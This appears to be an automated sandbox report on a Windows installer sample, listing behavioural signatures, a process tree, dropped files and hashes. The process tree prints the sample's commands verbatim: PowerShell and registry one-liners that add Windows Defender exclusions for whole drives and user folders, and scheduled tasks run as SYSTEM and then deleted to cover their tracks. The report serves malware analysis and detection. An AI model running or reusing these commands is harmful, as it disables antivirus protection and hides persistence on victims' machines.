Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/09/2026, 12:57

General

  • Target
    install_q2.0.16.exe
  • Size 25.4MB
  • Sample260905-p7dfjacp3x
  • SHA256 6bbf261977732229d43e3a8d4d010b42a38e7cc12151c754223a00d290eb6c3c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q2.0.16.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q2.0.16.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2268
  • C:\Users\Public\mSvcPl\CUbdiQ.exe
    "C:\Users\Public\mSvcPl\CUbdiQ.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3032
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mSvcPl\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2500
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mSvcPl\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4212
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5728
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1240
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3076
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1576
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2008
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5516
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3060
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4536
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1728
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3736
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:712
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4532
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4632
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3972
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:4888
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:6128
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2888
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5848
                      • C:\Users\Public\mSvcPl\CUbdiQ.exe
                        "C:\Users\Public\mSvcPl\CUbdiQ.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1968
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mSvcPl" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:5180
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mSvcPl" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2508
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3380
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:5044
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:5800
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:3140
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:5364
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:4472
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:4300

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

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                                      Downloads

                                      CUbdiQ.exe

                                      • Path C:\Users\Public\mSvcPl\CUbdiQ.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\mSvcPl\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 f8854714be0ffef2b99baa69d02263faf6c4ed660d2bf1490bcc53b262c983df
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\mSvcPl\adoresd.dat
                                      • Size 4.7MB
                                      • SHA256 a0cfa5606af03c5666b569ebc6317f8ad5532805c3d34af8391db39188cc922f
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\mSvcPl\msadox.tb
                                      • Size 8KB
                                      • SHA256 92f6278a214047db00129451f7e8ddc771597c37efc393b6ae9f6f3e183d31e6
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/1968-578-0x00007FF93A5A0000-0x00007FF93A5A2000-memory.dmp

                                      memory/1968-580-0x00000214A0650000-0x00000214A0ED7000-memory.dmp

                                      memory/1968-584-0x00000214A0650000-0x00000214A0ED7000-memory.dmp

                                      memory/1968-586-0x00000214A0650000-0x00000214A0ED7000-memory.dmp

                                      memory/1968-583-0x00000214A0650000-0x00000214A0ED7000-memory.dmp

                                      memory/1968-573-0x00007FF917B90000-0x00007FF9180AE000-memory.dmp

                                      memory/1968-585-0x00000214A0650000-0x00000214A0ED7000-memory.dmp

                                      memory/1968-587-0x00007FF93A590000-0x00007FF93A592000-memory.dmp

                                      memory/1968-576-0x00000214A0650000-0x00000214A0ED7000-memory.dmp

                                      memory/2268-525-0x00007FF9323A0000-0x00007FF9323B2000-memory.dmp

                                      memory/2268-0-0x0000000002050000-0x000000000205E000-memory.dmp

                                      memory/2268-1-0x0000000002050000-0x000000000205E000-memory.dmp

                                      memory/2268-2-0x0000000002160000-0x000000000216C000-memory.dmp

                                      memory/2268-504-0x00007FF9323A0000-0x00007FF9323B2000-memory.dmp

                                      memory/2268-524-0x0000000002050000-0x000000000205E000-memory.dmp

                                      memory/3032-607-0x0000013BBF090000-0x0000013BBF142000-memory.dmp

                                      memory/3032-603-0x0000013BBEE00000-0x0000013BBEE22000-memory.dmp

                                      memory/3032-606-0x0000013BBF070000-0x0000013BBF08E000-memory.dmp

                                      memory/3032-608-0x0000013BBEE40000-0x0000013BBEE4A000-memory.dmp

                                      memory/4216-539-0x000002229D080000-0x000002229D907000-memory.dmp

                                      memory/4216-531-0x00007FF917B90000-0x00007FF9180AE000-memory.dmp

                                      memory/4216-563-0x000002229D080000-0x000002229D907000-memory.dmp

                                      memory/4216-565-0x000002229D080000-0x000002229D907000-memory.dmp

                                      memory/4216-567-0x000002229D080000-0x000002229D907000-memory.dmp

                                      memory/4216-558-0x000002229C590000-0x000002229C61A000-memory.dmp

                                      memory/4216-557-0x000002229C590000-0x000002229C61A000-memory.dmp

                                      memory/4216-556-0x000002229ACD0000-0x000002229AD1E000-memory.dmp

                                      memory/4216-550-0x000002229D080000-0x000002229D907000-memory.dmp

                                      memory/4216-544-0x000002229D080000-0x000002229D907000-memory.dmp

                                      memory/4216-546-0x000002229D080000-0x000002229D907000-memory.dmp

                                      memory/4216-545-0x000002229D080000-0x000002229D907000-memory.dmp

                                      memory/4216-543-0x000002229D080000-0x000002229D907000-memory.dmp

                                      memory/4216-561-0x000002229C590000-0x000002229C61A000-memory.dmp

                                      memory/4216-538-0x00007FF93A5A0000-0x00007FF93A5A2000-memory.dmp

                                      memory/4216-536-0x000002229D080000-0x000002229D907000-memory.dmp

                                      memory/4216-560-0x000002229C590000-0x000002229C61A000-memory.dmp

                                      memory/4216-530-0x00007FF93A590000-0x00007FF93A592000-memory.dmp